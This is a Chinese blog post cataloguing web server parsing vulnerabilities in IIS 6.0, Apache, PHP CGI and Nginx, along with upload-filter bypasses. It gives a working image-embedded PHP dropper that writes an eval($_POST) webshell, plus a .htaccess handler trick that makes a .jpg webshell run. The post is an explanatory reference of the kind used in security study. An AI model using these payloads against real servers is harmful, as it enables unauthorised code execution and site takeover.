Se7en's Blog|Learn and live

解析漏洞汇总

字数统计: 947阅读时长: 3 min
2019/01/03 Share

※什么是解析漏洞?

简单的说,解析漏洞就是web容器将其他格式的文件解析为可执行脚本语言,攻击者可以利用这个特征去执行一些攻击行为。

IIS 解析漏洞

※使用IIS6.0的服务器,一般是Windows server 2003,解析语言是asp,不能解析aspx语言

IIS6.0 在解析文件时存在以下两个解析漏洞

目录解析:当建立 .asa ,.asp 格式的文件夹时,其目录下的任意文件都将被 IIS 当作 asp 文件来解析

后缀解析:在 IIS6.0 下,分号”;”后面的扩展名不会被解析,也就是说当文件为 *.asp;.jpg 时,IIS6.0 同样会以 ASP脚本来执行

默认解析:其他可执行文件格式

1
2
3
4
*.asa
*.cer
*.cdx(这种格式也会解析,但是和版本有关)
*.asa

此处可联系利用目录解析漏洞 /xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg

Apache 解析漏洞

在 Apache 1.x 和 Apache 2.x 中存在解析漏洞 , 但他们与 IIS 解析漏洞不同

Apache 在解析文件时有一个规则:

当碰到不认识的扩展名时,将会从后向前解析,直到碰到认识的扩展名位置,如果都不认识,则会暴露其源码,比如:

1
test.php.rar.xx.aa

Apache 首先会解析 aa 扩展名,如果不认识则接着解析 xx 扩展名,这样一直遍历到认识的扩展名为止,然后再将其进行解析

PHP CGI 解析漏洞

在PHP的配置文件中有一个关键的选项 [Fast-CGI]:cgi.fix_pathinfo=1 这个选项在某些版本是默认开启的,在开启时访问 url

比如:http://www.xxx.com/x.txt/x.php ,x.php 是不存在的文件,所以 php 将会向前递归解析,于是就造成了解析漏洞

由于这种漏洞常见于 IIS7.0 、 IIS7.5 、 Nginx 等 Web服务器,所以经常会被误认为是这些 Web服务器的解析漏洞

常用利用方法: 将一张图和一个写入后门代码的文本文件合并 将恶意文本写入图片的二进制代码之后,避免破坏图片文件头和尾

1
2
3
4
5
6
7
copy xx.jpg/b + yy.txt/a xy.jpg
/b 即二进制[binary]模式
/a 即ascii模式 xx.jpg正常图片文件
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称为shell.php的文件
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php 即可执行恶意文本。
然后就在图片目录下生成一句话木马 shell.php 密码 cmd

经验之谈:php|php3|php5|phtml 多可被Apache解析

Nginx <8.03 空字节代码执行漏洞

在Fast-CGI关闭的情况下,Nginx <8.03依然存在解析漏洞

影响版本:0.5,0.6,0.7<=0.7.65,0.8<=0.8.37

Nginx 在图片中嵌入PHP代码 , 然后通过访问 xxx.jpg%00.php 可以执行其中的代码

其他

在 windows 环境下, xx.jpg[ 空格 ] 或 xx.jpg,这两类文件都是不允许存在的,若这样命名 windows 会默认除去空格或点, 攻击者可以通过抓包,在文件名后加一个空格或者点绕过黑名单

若上传成功,空格和点都会被 windows 自动消除,这样也可以 getshell

如果在 Apache 中 htaccess 可被执行,且可被上传。那可以尝试在 .htaccess 中写入 :

1
SetHandlerapplication/x-httpd-php

然后再上传名称为 shell.jpg 的 webshell, 这样 shell.jpg 就可解析为 php 文件

CATALOG
  1. 1. IIS 解析漏洞
  2. 2. Apache 解析漏洞
  3. 3. PHP CGI 解析漏洞
  4. 4. Nginx <8.03 空字节代码执行漏洞
  5. 5. 其他